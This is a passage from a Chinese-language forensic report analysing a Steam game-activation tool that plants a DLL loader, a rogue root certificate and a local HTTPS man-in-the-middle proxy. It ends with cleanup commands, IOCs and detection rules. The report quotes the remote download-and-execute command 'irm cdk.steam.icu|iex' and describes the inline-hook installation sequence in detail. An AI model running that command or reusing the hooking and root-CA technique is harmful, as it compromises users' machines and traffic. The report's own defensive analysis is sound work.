├─ Steam 进程内由 stage-2 启动的 8443 监听 socket 接受连接
│ ↓ 使用 §12.3 提取的叶证书与匹配私钥终结 TLS(合法证书链:叶证书由 DCS Root CA G2 签发,
│ 根 CA 在 §12.5 被植入 LocalMachine\Root,Steam 视该链为有效)
│ ↓ 解开 CMsgEncryptedHeader 后得到 CMsgGetDepotKeyRequest
│
├─ 本地伪后端构造 CMsgGetDepotKeyResponse
│ ↓ depot_key 为伪造值(Steam 后续使用其"解密"已被 stage-2 替换的本地 depot 内容)
│ ↓ 经 CMsgEncryptedHeader 再次加密形成回包
│
└─ Response 沿原路径返回 → hook 函数将 protobuf 反序列化得到 depot_key →
返回给 Steam,Steam 视其为与 Valve 服务器正常通信后获得的合法 depot_key
→ 进入"游戏可用"分支
CMsgGetAppListResponse 中的 denuvo / patch / update / appinfo / online 标志位提供了关键的语义信号——该工具携带一整张游戏库元数据表,每款游戏均标注"是否启用 Denuvo、最新补丁版本、是否支持联机"。这表明该工具并非针对单游戏的 hack 实现,而是面向整个游戏库的产业链工具——C2 后端持续维护每款 Steam 游戏的可激活/可联机状态,客户端通过 CMsgGetAppListResponse 拉取后向终端用户展示。
这是从静态二进制中能获得的最高精度描述:先前结论"该工具伪造 Steam Steamworks 通信"现可被精确为逐字段、逐 message 的伪 Steam 后端协议清单。AppListResponse.denuvo 字段进一步证实该 C2 后端专门维护 Denuvo 状态,与 §11 将 srv*.codefusion.technology 归入 Denuvo/Codefusion 反篡改"伪服务器"的定性结论完全吻合。
12.12 258 个 Windows API 的运行时解析表
§9.3 已确认磁盘 IAT 仅含 11 个槽、§9.5 已确认这 11 个槽存在 0 个静态调用站点——意味着真实的 Windows API 调用必须经由另一套机制完成。脱壳镜像揭示了该机制:
名字表 @ 0x54e4d0 + 指针表 @ 0x54f768:DLL 名字符串与 API 名字符串成对存在于 .rdata 中,由一张 275 项的 qword 指针表索引(含 NULL 作为 DLL 边界分隔符),每个 qword 指向标准 PE IMAGE_IMPORT_BY_NAME 结构(2-byte Hint + 名字 + null)。
解析后的函数指针表 @ 0x328000:与名字表一一对应,共 258 个 qword 槽;TLS callback 在 DLL 加载时按名/序号调用 LoadLibraryExW + GetProcAddress 将每个 Windows API 的运行时地址(0x7ffc_xxxxxxxx 用户态 DLL 地址空间)填入。脱壳镜像捕获了该表填好后的状态快照。
按 DLL 分组后的完整分布:
| DLL | API 数 | 关键 API 节选 |
|---|---|---|
| kernel32.dll | 196 | OpenThread / SuspendThread / ResumeThread / GetThreadContext / SetThreadContext / VirtualProtect / FlushInstructionCache / Thread32First / Thread32Next / CreateToolhelp32Snapshot / K32EnumProcessModules / ReadProcessMemory / IsBadReadPtr / VirtualQueryEx / LoadLibraryExW / GetProcAddress / MessageBoxA ... |
| user32.dll | 2 | MessageBoxA, GetForegroundWindow |
| advapi32.dll | 12 | RegOpenKeyExA / RegQueryValueExA / RegCloseKey(读 Steam 注册表);OpenProcessToken / GetTokenInformation(提权检查);CryptAcquireContextA / CryptCreateHash / CryptHashData / CryptGetHashParam / CryptDestroyHash(完整性 hash——CMsgGatewayHookRequest.kernel_size/steam_client_size 字段用到的);GetUserNameA |
| shell32.dll | 4 | ShellExecuteA / ShellExecuteExA / SHGetSpecialFolderPathA / SHGetKnownFolderPath |
| ole32.dll | 1 | CoTaskMemFree |
| bcrypt.dll | 1 | BCryptGenRandom |
| winhttp.dll | 13 | 完整 WinHTTP 客户端:WinHttpOpen / Connect / OpenRequest / SendRequest / ReceiveResponse / AddRequestHeaders / QueryHeaders / QueryDataAvailable / ReadData / CrackUrl / CloseHandle / SetOption / SetTimeouts |
| ws2_32.dll | 18 | 全部以 ordinal 形式导入(无字符串):socket(#116) / bind(#2) / listen(#13) / accept(#1) / connect(#3) / send(#19) / recv(#16) / sendto(#20) / recvfrom(#17) / closesocket(#9) / setsockopt(#21) / WSAStartup(#111) / WSACleanup(#10) / WSAGetLastError(#115) / htons(#23) / ntohs(#15)+ inet_pton / inet_ntop(这两个按名) |
| crypt32.dll | 8 | CertOpenStore / CertCloseStore / CryptStringToBinaryA / CertCreateCertificateContext / CertFindCertificateInStore / CertFreeCertificateContext / CertAddCertificateContextToStore / CertSetCertificateContextProperty |
| dnsapi.dll | 2 | DnsFree / DnsQuery_W |
| dbghelp.dll | 1 | SymFromAddr(PDB 符号解析) |
合计 258 个 API,相较于静态 IAT 的 11 个——隐藏 import 放大比达 23×。
kernel32 表中下列函数组合尤其关键:
OpenThread → SuspendThread → GetThreadContext → VirtualProtect →
ReadProcessMemory → 修改字节 → FlushInstructionCache →
SetThreadContext → ResumeThread
该序列即标准的 manual inline hook 安装序列——配合 dbghelp.SymFromAddr(按 PDB 符号定位目标函数)与 K32EnumProcessModules / Thread32First/Next / CreateToolhelp32Snapshot(枚举 Steam 模块与线程),构成完整的 hook 安装流水线:
1. CreateToolhelp32Snapshot + Thread32First/Next → 枚举 Steam 所有线程
2. OpenThread + SuspendThread → 暂停目标线程(避免其正好执行至待 patch 字节)
3. K32EnumProcessModules + GetModuleHandleW → 定位 steamclient64.dll / steamui.dll / tier0_s64.dll 模块基址
4. SymFromAddr → 按 PDB 符号名定位每个 hook 目标的运行时地址
5. VirtualProtect(PAGE_EXECUTE_READWRITE) → 解除目标页的写保护
6. ReadProcessMemory + 改字节 → 安装 jmp 跳板至 hook handler
7. FlushInstructionCache → 使 CPU 看到新代码
8. ResumeThread → 唤醒线程
SymFromAddr 的调用站点在全文件仅存在 1 处(rva 0x2b595)——通过 SymFromAddr(hProcess, address, &disp, &SymbolInfo) 实现"按地址查符号名"——配合 PDB 信息将 Steam 内部函数定位至具体地址。这正是 §9.3 中"该样本能跨多个 Steam 客户端版本工作"的精确机制:Steam 升级后函数地址变化,但 PDB 符号名保持稳定,hook 安装代码通过 SymFromAddr 重新定位即可适配。
ws2_32 全部以 ordinal 形式导入而不留 API 名字符串为另一项反静态分析细节——grep 搜索 "socket" / "bind" / "accept" 等关键字将得到 0 结果,因这些 API 名从未以字符串形式出现于二进制中。仅在定位至 0x54ff30 起的 ordinal 表之后,方可反推其名称。
12.13 8443 端 MITM 代理:bind / listen / accept / connect 集中于同一函数
ws2_32 的 18 个 API 集中调用点位于 rva 0x20200–0x20800 区间共数百字节——一段紧凑的 socket 服务函数体:
[loop top] @ 0x203b0 ; for each entry in server_profile_table(§12.4 的 6 槽):
sockaddr_in 清零
sin_family = AF_INET (= 2)
htons(port) ; port 从 config 结构的 +4 偏移读
@ 0x203d6: call bind
@ 0x203fe: call listen
@ 0x2043a: call accept ; 阻塞等连接
@ 0x20449: call recv ; 读 client 发来的字节
... 处理 ...
@ 0x20563: call connect ; ★ 同一函数内同时执行 accept 与 connect ★
... 上游 ...
@ 0x207ae: call recv ; 读上游响应
@ 0x2030b: call send ; 将响应回写至 client
bind / listen / accept 与 connect 出现于同一函数——这是 MITM 代理的标志性结构:本地端口接受客户端连接,同时主动 connect 至上游(真实或伪造的远端),中间完成拼接和篡改。该结构配合 §12.3 的叶证书 + 匹配私钥(用于在 8443 端终结 client 的 TLS 握手)、§12.4 的 6 槽 SNI 服务器档案表(决定客户端连接的目标域)、§12.5 安装的根 CA(使 client 信任叶证书)——本地伪 HTTPS 后端的完整代码路径已全部映射至具体 RVA。
端口号 8443(= 0x20fb)并不直接出现于 bind 调用点,而是通过 server config 结构传入:
@ 0x1eb80: ServerConfig 的构造函数
...
@ 0x1ebbc: mov byte ptr [rcx], 0
@ 0x1ebbf: mov qword ptr [rcx + 4], 0x20fb ; config.listen_port = 8443
@ 0x1ec05: mov word ptr [rax + 0x18], 0x101 ; 另一状态字段
@ 0x1ebf0: mov ecx, 0x390 ; 分配 0x390 字节对象
@ 0x1ebf5: call sub_2d4e10 ; 内部分配器
...
bind 调用时 sin_port = htons(config.listen_port)——8443 经 config 字段中转至 socket。该端口以可配置字段形式存储,表明作者预留了"修改端口"的扩展能力(若 8443 与 Steam 自带端口冲突检查发生命中,只需修改配置即可继续运行)。
12.14 静态分析剩余的盲区
本节已穷尽脱壳镜像中可通过静态手段获取的全部结论。下列问题在静态层面无法进一步推进:
| 仍未解决的问题 | 静态分析的边界 | 推荐的动态分析手段 |
|---|---|---|
| TLS callback 向 0x328000 表写入 API 地址的具体时序 | §12.10、§12.12 — 被 VMProtect mutation 包裹 | 动态 step through TLS callback |
| hook 实际安装至 Steam 哪些具体函数 | SymFromAddr 唯一调用站点(0x2b595)周围被 VMP mutation 噪声覆盖,参数无法提取 | 在 Steam 进程下断点,读取 PSYMBOL_INFO.Name |
CMsgEncrypt.key_decrypt / iv_decrypt 的密钥派生路径 | AES 密钥派生代码很可能位于加密区 | 监控 BCryptGenRandom + CryptHashData 调用序列 |
| 8443 应用层协议字段的精确语义 | 协议定义已于 §12.11 获取,但状态机/失败重试逻辑位于加密代码区 | 在 8443 端实施 socket-level 抓包 |
| 6 个 C2 域名背后是否共用同一后端实例 | hosts 已全部劫持至 127.0.0.1,无法直连验证 | 在隔离环境下还原 hosts,捕获原始上游 IP |
结论:从最初"Steam 卡顿"的现象出发,最终在样本内获取到下列结论:作为伪 Steam 后端的逐字段 protobuf schema、伪造的 Codefusion CA 根证书与叶证书及其匹配私钥、根 CA / portproxy / hosts 改写的具体调用图、258 项动态 API 解析表中精确的 manual inline hook 套件、本地 8443 代理服务的代码位置。这是仅依靠静态分析所能到达的极限;进一步的细化结论必须依赖 Steam 进程内的动态断点与系统交互的实时行为监控。
12.15 本节产出的工程脚本
re/34_extract_certs.py §12.3 抓 PEM/PEM 私钥 → DER
re/35_cert_xrefs.py §12.4 定位证书 PEM/API 名的 LEA + QWORD 引用
re/36_disasm_cert_install.py §12.5 反汇编 sub_23200 / sub_293d0 区域
re/37_callgraph.py §12.10 直接调用图(确认 sub_293d0 0 caller)
re/38_disasm_loadLib_and_orch.py §12.9 反汇编 loadLib + 完整 orchestrator
re/39_disasm_worker.py §12.9 确认 sub_2ec20c = _beginthreadex
re/40_steamworks_hook_xrefs.py §12.11 定位 steam_server.proto schema
re/41_iat_callsites.py §12.12 验证 11 个磁盘 IAT 槽 0 调用站点
re/42_indirect_callsites.py §12.12 扫所有 FF15/FF25 间接调用,定位 0x328000 解析表
re/43_api_resolution_table.py §12.12 解析 275 项名字 ptr 表 → 还原 258 个 API + DLL 边界
re/44_disasm_tls.py §12.10 反汇编 TLS callback,确认 VMP mutation
re/45_disasm_8443_server.py §12.13 反汇编 bind/listen/accept/connect 代理函数体
上述脱壳分析方法论可归纳为:"静态加密 → 动态脱壳 → 用脱壳镜像反向闭环每一条系统侧证据 → 静态分析在 VMP mutation 处终止"——该流程对 VMProtect 系样本具有通用性。
13. 触发因素归因:《猛兽派对》为何稳定复现
需先界定范围边界:该工具并非针对《猛兽派对》定制开发,而是一类通用的"Steam CDK 激活 / 入库"工具——任何走 Steamworks 票据 + Manifest + Depot Key + Denuvo/Codefusion 反篡改流程的游戏均在其支持范围内。本案例中由《猛兽派对》稳定触发的原因在于:该游戏的反篡改握手在 Steam 启动早期高频发生,使资源泄漏在统计意义上最快被观察到。其他任何挂载 Denuvo/Codefusion 反篡改的游戏均能复现该链路。
基于此可回答最初的反常现象——为何单一游戏触发:
Steam 启动 → stage-2 已常驻 Steam 进程
《猛兽派对》启动 → 触发 Steam 的 Steamworks/票据/Manifest/反篡改流程
stage-2 接管上述流量
8443 端的伪服务端高频处理 accept → 线程风暴
游戏退出 → stage-2 未正确清理本地服务/连接
Steam 进程保留所有未释放的 worker 线程 → 资源占用居高不下
重启 Steam 进程后方可回收
该现象并非《猛兽派对》自身触发的 Steam 故障,而是该游戏激活了被植入的伪反篡改链路,线程风暴是该链路在游戏退出阶段未能正确释放资源的副作用。
14. 入侵入口分析:irm cdk.steam.icu | iex 一行下载执行
入侵入口由受害者主动提供的"激活教程"反向溯源得出——单条 PowerShell 命令:
irm cdk.steam.icu|iex
irm 为 Invoke-RestMethod,从指定域名下载脚本;iex 为 Invoke-Expression,将下载内容立即在当前 shell 中执行。该模式下用户无法预先审查远端脚本内容。
根据系统侧落地状态反推,该远端脚本至少完成下列操作:
向 F:\steam\ 写入 xinput1_4.dll (stage-1)
向 %LOCALAPPDATA%\Steam\ 写入 localData.vdf (XOR 0xFF 加壳的 stage-2)
向 hosts 追加 codefusion/antitamper 6 个域名的 127.0.0.1 映射
向 系统根证书库 (LocalMachine\Root) 安装 DCS Root CA G2
随后引导用户在 Steam 中输入"激活码"
——实际为与 stage-2 的伪 CDK Active 流程交互(§12.11 CMsgCdkActiveRequest)
旧 Steam 持续异常的原因在于上述文件与系统配置均已植入;新安装的 F:\teststeam 未涉及上述任何文件或配置,因此运行正常。
15. 工具定性与威胁评级
本节就两个常见疑问给出基于前述分析的定性结论。
疑问 1:该样本是否属于传统意义上的病毒?
否。该样本不具备自我复制与横向传播的传统病毒特征,但具备一组完整且明确的恶意/灰产组件特征:
- 以
xinput1_4.dll伪装名实施 DLL 侧载; - stage-2 隐藏于
localData.vdf并以 XOR 0xFF 简单加壳; - 在 Steam 进程内以 MemoryModule 风格手动映射 PE、调用导出函数
loadLib; - 修改
hosts文件; - 安装自签 Root CA 至系统受信任根存储;
- 以
cmd /c netsh、powershell -WindowStyle Hidden、Start-Process -Verb RunAs等方式完成隐藏执行与权限提升; - 创建本地 HTTPS 端口转发(443 → 8443);
- 对 Steam 鉴权流程与 Denuvo/Codefusion 反篡改通信实施 hook 与协议级伪造。
疑问 2:该样本是否仅为"Steam 入库脚本",用于绕过 Denuvo 加密?
部分正确。基于完整行为面的定性如下:
- 本质:针对 Steam + Denuvo/Codefusion 的本地伪服务 / MITM 链;
- 目的:拦截并伪造 Denuvo/Anti-Tamper 验证、Steamworks 票据、Depot Key、Manifest 鉴权、CDK 激活等关键鉴权节点;
- 分发包装:以"激活码 / Steam 入库 / 可联机版本"等形式在灰产渠道销售给终端玩家。
威胁评级补充:是否存在盗号风险?
样本已具备对本机 HTTPS 流量的透明拦截能力,理论上可截取经过 127.0.0.1:443 的任意明文;配合 DCS Root CA G2 自签根证书,还可签发任意域名的伪叶证书。即使该样本主要目的并非凭据窃取,其技术能力已涵盖密码截留、Steam 流量改写、游戏会话注入等场景。按恶意软件处理符合一般安全实践标准。
16. 分析的不足与未解问题
16.1 静态分析能力的结论边界
本报告基于对脱壳后 stage-2 镜像(stage2_unpacked.bin,SHA256 8911004D…)的静态分析。该镜像虽已绕过 VMProtect 的外层加密,但仍存在两个本质性的不可见区域:
- VMProtect mutation 层:TLS callback
sub_565de0入口处即跳入加密区内大段被 mutation 处理的指令流(典型形态:pushfq / dummy-math / popfq+ 栈位置交换 +call $+5; add [rsp], -X形式的计算跳转,指令膨胀 5–10 倍)。该层在脱壳镜像中以明文字节形态存在,可逐行反汇编,但语义被打散至无法静态恢复。 - 按需解密代码段:脱壳镜像捕获的是 stage-2 在
loadLib被调用、worker thread 派生、TLS callback 已运行完毕这一时刻的内存快照。本工具的 hook handler、协议状态机等更深层函数仅在被首次触发时才解密——dump 时未触发的代码路径仍呈密文/噪声形态。SymFromAddr唯一调用站点周围 70 字节的字节流(73 cb 6d 75 8e 1d 95 42 5e 78 46 1e 7d 05 df 70等)即属此类。
本节明确列出仅凭当前静态分析无法给出确定结论的若干关键问题,作为后续动态分析的接力清单。
16.2 未解问题清单
下表枚举本次分析未能在静态层面闭合的所有具体问题,并给出"边界条件"与"动态分析中的解决路径":
| # | 未解问题 | 静态分析的边界条件 | 推荐的动态分析手段 |
|---|---|---|---|
| 1 | TLS callback 执行体将 258 个 API 真实地址填入 0x328000 函数指针表的具体序列 | §12.10 / §12.12:被 VMProtect mutation 完全包裹 | 在 LoadLibraryExW / GetProcAddress 入口下条件断点,按调用 hash 排序记录解析序列 |
| 2 | inline hook 实际安装至 Steam 哪些具体函数(按 PDB 符号名) | SymFromAddr 唯一调用站点(rva 0x2b595)周围被 mutation 噪声覆盖,PSYMBOL_INFO 名字无法静态读出 | 在 SymFromAddr 调用返回处下断点,dump pSymbol->Name;亦可监控 VirtualProtect(PAGE_EXECUTE_READWRITE) 命中点定位被 patch 的目标地址 |
| 3 | CMsgEncrypt 应用层加密的算法、密钥派生与 IV 策略 | AES 实现代码与密钥协商代码均很可能位于按需解密区 | 监控 BCryptGenRandom(生成随机数)+ CryptHashData(密钥派生)+ CertGetCertificateContextProperty(取出私钥)调用序列,配合 8443 端 socket 抓包对比明文/密文 |
| 4 | 8443 server 处理 CMsgGet*Request 时为本地构造响应还是 forward 至上游 C2 | 协议字段定义在 §12.11 已获取,但分发函数(决定 forward / 本地)位于按需解密区 | 在 8443 端架设拦截代理(mitmproxy),同时监控 stage-2 内 WinHttpSendRequest 出站调用,观察请求是否同步出现在双向链路 |
| 5 | CDK 激活码(用户输入字符串)在协议中的实际承载位置与流转路径 | CMsgCdkActiveRequest 仅含 steam_id / timestamp,未见激活码字段;激活码可能在另一未发现的 message、HTTP form post 或 stage-0 PowerShell 脚本中承载 | 反向工程 cdk.steam.icu/iex 脚本;同时监控 stage-2 内 WinHttpAddRequestHeaders / send 调用的具体载荷 |
| 6 | 伪造的 depot_key 与本地 depot 文件的协同方式(depot 文件本身的加密方案) | 本工具不携带 depot 文件——文件分发渠道在样本范围之外 | 获取一份完整的"已激活"环境,对照 steamapps\depotcache*.manifest 与正版 manifest 的差异,反推作者的预加密流程 |
| 7 | 6 个 codefusion / antitamper C2 域名背后的真实上游部署 | hosts 已全部劫持至 127.0.0.1,无法通过 DNS / TLS 探测真实 IP | 在隔离环境下临时还原 hosts,使样本与真实 C2 通信,捕获握手目标 IP 与证书链 |
16.3 已建立但未观察到使用的能力
下述能力在脱壳镜像中明确存在(API 已被解析至 0x328000 表、字符串已落地),但当前分析未观察到对应的具体使用代码路径——既不能确证其当前被使用、也不能排除:
| 能力 | 凭据 | 风险面 |
|---|---|---|
| 任意子进程派生 | kernel32.CreateProcessA(在 258 项解析表内)+ shell32.ShellExecuteA / ShellExecuteExA | 一旦被启用,可在 Steam 进程上下文执行任意命令 |
| 任意 DLL 运行时加载 | LoadLibraryExW 已解析;MemoryModule 风格的手动 PE 映射器在 stage-1 已实现并被复用 | 工具可从远端拉取并加载额外 payload,无需更新本地文件 |
| 任意 HTTP 出站 | 13 个 WinHttp* API 全部解析;force_proxy / use_https 等 CCloud_ClientFileDownload_Request 字段提示曾考虑文件下载场景 | 与 (1) 配合,可下载并执行任意外部代码 |
| 进程枚举与线程操控 | CreateToolhelp32Snapshot / Thread32First/Next / OpenThread / SuspendThread / SetThreadContext | 当前用于 Steam 进程内 hook 安装;技术上也可注入其他用户态进程 |
| 文件系统遍历 | FindFirstFileW / FindNextFileW / FindClose + GetFileAttributesExW | 当前用途未明,但具备遍历用户目录的全部 API |
结论:本工具的"静态可观测行为"局限于 Steam 游戏激活伪造场景;但其"运行时能力面"在 API 解析层面已远超该用途所需。这意味着 C2 端只需推送少量逻辑(无需新文件落地),即可激活上述任一能力。
16.4 结论置信度标注
为便于后续读者引用本报告的具体结论,下列条目按置信度分级:
- 高置信度:所有指纹/哈希(证书 SHA256、文件 SHA256、PDB 路径、引用域名),以及所有结构性结论(stage-1 加载链、stage-2 节布局、嵌入证书的密钥对匹配关系、protobuf schema 字段名)。
- 中置信度:部分函数语义标注(如
sub_293d0 = 安装编排函数、sub_2cb80 = loadLib_export、sub_2ec20c = _beginthreadex)——基于反汇编 + 调用关系推断,未经动态验证。 - 较低置信度:258 项 API 解析表中 ws2_32 部分 ordinal-to-slot 的精确映射——§12.13 中曾出现
mov ecx, 0x35; call ntohs(?)等参数与目标 API 不一致的情况,提示运行时实际填表顺序可能与本报告推断存在 ±数个 slot 的偏移。结构性结论("该函数为 8443 server")不受影响,但精确至"某个 ordinal 对应哪个 API"的标注须以动态验证为准。
17. 清理脚本
# 隔离样本(先重命名而非删除,便于后续回查;稳定运行数日后再删除)
Rename-Item "F:\steam\xinput1_4.dll" "xinput1_4.dll.suspect" -ErrorAction SilentlyContinue
Rename-Item "$env:LOCALAPPDATA\Steam\localData.vdf" "localData.vdf.suspect" -ErrorAction SilentlyContinue
# 清除 portproxy 规则
Remove-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp' `
-Name '127.0.0.1/443' -ErrorAction SilentlyContinue
net stop iphlpsvc
net start iphlpsvc
netsh interface portproxy show all # 预期输出为空
# 清除 hosts 中的恶意条目
# 以管理员权限手动编辑 C:\Windows\System32\drivers\etc\hosts
# 删除 "# Network optimization configuration" 及其后 6 行 srv0X.* 条目
# 删除伪根证书
Get-ChildItem Cert:\LocalMachine\Root,Cert:\CurrentUser\Root |
Where-Object { $_.Thumbprint -eq '2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9F' } |
Remove-Item
# 清理结果验证
netsh interface portproxy show all
Get-Content "C:\Windows\System32\drivers\etc\hosts" |
Select-String 'codefusion|antitamper|Network optimization'
Get-ChildItem Cert:\LocalMachine\Root,Cert:\CurrentUser\Root |
Where-Object { $_.Thumbprint -eq '2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9F' }
Get-ChildItem F:\steam -Filter xinput1_4.dll
清理完成后,受影响主机上的 Steam 不再创建 443 → 8443 portproxy 规则,《猛兽派对》启动后不再触发 Steam 高占用——问题闭环。
18. IOC 速查
文件:
F:\steam\xinput1_4.dll
SHA256: 631C8757165C9BACE8D6CFE019425ED5AC97319CF2D8FD2B07A8E32025711FB4
签名者: 山西荣升源科贸有限公司 (Verokey EV)
%LOCALAPPDATA%\Steam\localData.vdf
SHA256: 81F04831573AB983E7F4D7A64B375D0C66C6C282FFEFA00EA105F433CC8AC6A8
localData.vdf XOR 0xFF 解码后(hid.dll, 导出 loadLib,VMP 加壳态)
SHA256: D9ADF672F5A4405B0C113C9EEC653653FB0D8152875FCEB85BA30D2350F79C85
localData.vdf 解码 + 动态脱壳后的完整 PE 镜像(含原始字符串/证书/私钥)
SHA256: 8911004DF9FA21350E085CBCAEFAA1A18E2E0DADFEDDF2E22E76EC55E4CEFCEC
大小: 8,560,640 bytes
证书(脱壳镜像中嵌入):
根 CA(受信任根,本地系统中安装)
CN=DCS Root CA G2, O=Digital Certificate Services, C=US
Thumbprint (SHA1): 2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9F
DER SHA256: 77FD7C44B8973F12D145D02BCF91FE03C85F93FA9B72988CE70E8D7F16F35B35
有效期: 2025-11-14 ~ 2035-11-12
伪服务端叶证书(多 SNI 复用)
CN=srv01.codefusion.technology, O=CodeFusion Technology LLC, C=US
Issuer: CN=DCS Root CA G2
DER SHA256: 19B7FC43963DD116AC8CA280CA0DCDDD758D414D313F2EEA5D2630B68A40CA79
有效期: 2025-11-13 ~ 2035-11-11
随附 RSA 2048 私钥(pubkey MD5 与叶证书匹配: 928e386311c6148e727c543ce099c875)
域名(hosts 中被指向 127.0.0.1):
srv01.codefusion.technology / srv02.* / srv03.*
srv01.antitamper.net / srv02.* / srv03.*
端口:
127.0.0.1:443 → 127.0.0.1:8443 (Steam.exe)
入侵入口:
irm cdk.steam.icu | iex
进程链:
Steam.exe → cmd.exe /c → netsh interface portproxy add v4tov4 ...
19. 排查方法论复盘
本次取证过程中得到验证的若干可复用方法论原则:
- 优先排除"软"假设,再采集硬证据。在采集进程内存 dump 之前,先对 Steam Overlay / Shader 预缓存 / Input / 录制等可疑子系统逐一关闭以验证排除,从而将分析方向由"Steam 客户端缺陷"转向"Steam 进程内异常"。
- 进程内存 dump 是关键拐点。任务管理器仅能提供"CPU 高、内存大、线程多"的表层指标;而 minidump 解析可定位"高在何处、内存区段属性如何、线程由谁创建"。同时观察到大段匿名
PAGE_EXECUTE_READWRITE内存与 socket accept 风暴,即可基本判定 Steam 进程被注入。 - 网络层不可见、端口层可见。
Get-NetTCPConnection+netsh interface portproxy show all是 Windows 平台排查本地 MITM 链路的两个关键检查点。 - portproxy 被删除后立即重建——该信号的价值高于"直接观察到 portproxy",表明存在主动持久化进程。
- Procmon 抓父子进程链优先于抓全量事件。指定
Operation = Process Create+ 时间窗口 + PID Include 过滤,数十秒内即可观察到Steam.exe → cmd.exe → netsh.exe链。 - 干净环境对照实验是低成本的高速复测手段。新装一份
F:\teststeam进行差异对照,远快于"逐项 disable + 单独复测",可直接将污染范围收敛至旧目录差异。 - Compare-Object 做差集直接定位至
xinput1_4.dll,后续以"逐文件改名复测"实施二分收敛。 - 静态串扫 + 入口/导出检查对"伪装系统 DLL"的识别极有效——一个命名为
xinput1_4.dll但不导出任何 XInput 接口的 PE 已足以立案。 - 加壳的 stage-2 在内存中现形。
.text节熵 7.93 时静态扫描无法识别netsh、portproxy、8443等关键字,但运行时 dump 中这些字符串均已被解出——这一现象证明了"在干预前抓 dump"的价值。 - hosts + Root CA + portproxy 三件套是本地 HTTPS 中间人无法回避的三角——三者缺一不可;观察到其中任一项即应顺藤检查其余两项。
20. 结论与展望
20.1 结论
受害者执行了"激活脚本" irm cdk.steam.icu | iex,在 Steam 安装目录下植入了一个伪装为 xinput1_4.dll 的 DLL 侧载加载器;该加载器以 XOR 0xFF 将 stage-2 隐藏于 %LOCALAPPDATA%\Steam\localData.vdf,于运行时手动映射为 hid.dll 并寄宿于 Steam 进程内;通过 hosts → 127.0.0.1 + portproxy 443 → 8443 + 自签 DCS Root CA G2 拼出一条本地透明 HTTPS 中间人栈,专用于伪造与拦截 Steam Steamworks 及 Denuvo/Codefusion 反篡改通信。《猛兽派对》仅为该流程的稳定触发器,Steam 高占用现象是本地伪服务链上线程未正确释放的副作用。
按恶意 / 灰产组件处理。
本报告在静态层面已闭合下列要点:
- 完整加载链:
irm cdk.steam.icu | iex(stage-0) →xinput1_4.dll(stage-1 loader,XOR 0xFF 解码 + 手动 PE 映射) →localData.vdf(stage-2 镜像,VMProtect 3.x 加壳); - 本地 MITM 栈三件套:hosts 改写 +
LocalMachine\Root安装DCS Root CA G2+netsh portproxy 443→8443,缺一不可,每一项均与代码内的具体函数对应; - 协议级伪造目标:通过
dbghelp.SymFromAddr对 Steamworks 内部GetDepotKey / GetTicket / ManifestAuth / GetEncryptTicket等鉴权函数实施 inline hook,配合steam_server.proto中的CMsgGetDepotKey* / CMsgGetTicket* / CMsgGetManifest* / CMsgCdkActiveRequest完成协议层伪造; - C2 拓扑:6 个 codefusion/antitamper 域名被劫持至 127.0.0.1:8443 的进程内伪服务端,再由该伪服务端按需 forward 至上游真实 C2(
cdk.steam.icu与 stage-2 内嵌的若干域名); - 威胁能力面:脱壳镜像已解析的 258 项 API 调用面(含
CreateProcessA / LoadLibraryExW / WinHttp* / Thread32* / VirtualProtect)远超 Steam 入库伪造场景的实际所需,构成可由作者后续推送任意 payload 的远控基础设施。
20.2 局限性
如 §16 所述,本报告的结论建立在脱壳镜像静态分析之上,存在两类系统性盲区:
- VMProtect mutation 层:TLS callback 入口及 stage-2 关键函数被 mutation 化指令流包住,语义在静态层面无法恢复;
- 按需解密代码段:脱壳镜像仅捕获到
loadLib被调用、worker thread 派生时刻的内存快照,未触发的代码路径仍呈密文/噪声形态——包括应用层加密的密钥派生、8443 server 的分发逻辑、CDK 激活码的实际流转路径等。
读者引用本报告结论时,应区分结构性结论(高置信度)与精确细节(中至较低置信度)——具体置信度标注见 §16.4。
20.3 展望:建议的后续工作方向
以 §16.2 的未解问题清单为蓝本,可沿下列三条路径继续推进:
路径 A:通过动态分析闭合 stage-2 行为面
- 在隔离虚拟机内运行受感染 Steam,使用
x64dbg+ ScyllaHide 附加至 Steam 进程; - 对
LoadLibraryExW / GetProcAddress / SymFromAddr / BCryptGenRandom / VirtualProtect / WinHttpSendRequest等关键 API 下条件断点; - 顺次解决 §16.2 表中的问题 1(填表序)、2(hook 目标 PDB 符号)、3(
CMsgEncrypt算法)、4(8443 server 的 forward 策略); - 工具链可选 Frida + InlineHook,以非侵入方式同步采集 API 调用流与协议帧。
路径 B:协议侧重放与上游 C2 测绘
- 在隔离环境下临时还原 hosts,使样本与真实 C2 直接通信,捕获 6 个 codefusion/antitamper 域名背后的真实 IP 与证书链;
- 对
cdk.steam.icu/iex脚本实施反向工程,确认 CDK 激活码的承载渠道(HTTP form / 自定义 message / 嵌入式 PowerShell 配置); - 重放协议帧,观察伪 server 为本地构造响应还是 forward 至上游,从而判定 C2 端是否持有完整的"已激活账户/depot key"数据库。
路径 C:分发链溯源与灰产生态画像
- 反向定位
cdk.steam.icu域名的注册、CDN、上游服务器; - 收集"激活码 / Steam 入库 / 可联机版本"销售页面的 IOC(域名、客服联系方式、付款渠道),评估整个灰产生态规模;
- 与其他已公开的 Steam 入库工具样本进行特征比对,判断本样本是否属于已知家族(如
DCS / Codefusion命名空间下的工具集合)。
20.4 防御侧实操建议
对于企业 EDR/SOC 团队,本报告给出的可即时落地的检测规则包括:
- Steam 客户端进程链异常:
Steam.exe → cmd.exe → netsh.exe interface portproxy add进程链应列为高优先级告警; - 本地 portproxy 异常:
netsh interface portproxy show all中存在127.0.0.1:443 → 127.0.0.1:8443类映射,结合iphlpsvc服务状态综合判定; - 可疑根证书:
LocalMachine\Root下存在指纹为2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9F的证书,或任何 Subject 含DCS Root CA G2的证书; - Steam 目录可疑文件:
<Steam 根目录>\xinput1_4.dll存在但缺失 XInput 导出符号;%LOCALAPPDATA%\Steam\localData.vdf文件存在且大小约 2.4 MB(Steam 官方在该路径下不分发同名文件); - hosts 异常条目:
hosts文件中包含srv0X.codefusion.* / srv0X.antitamper.*类条目并指向127.0.0.1。
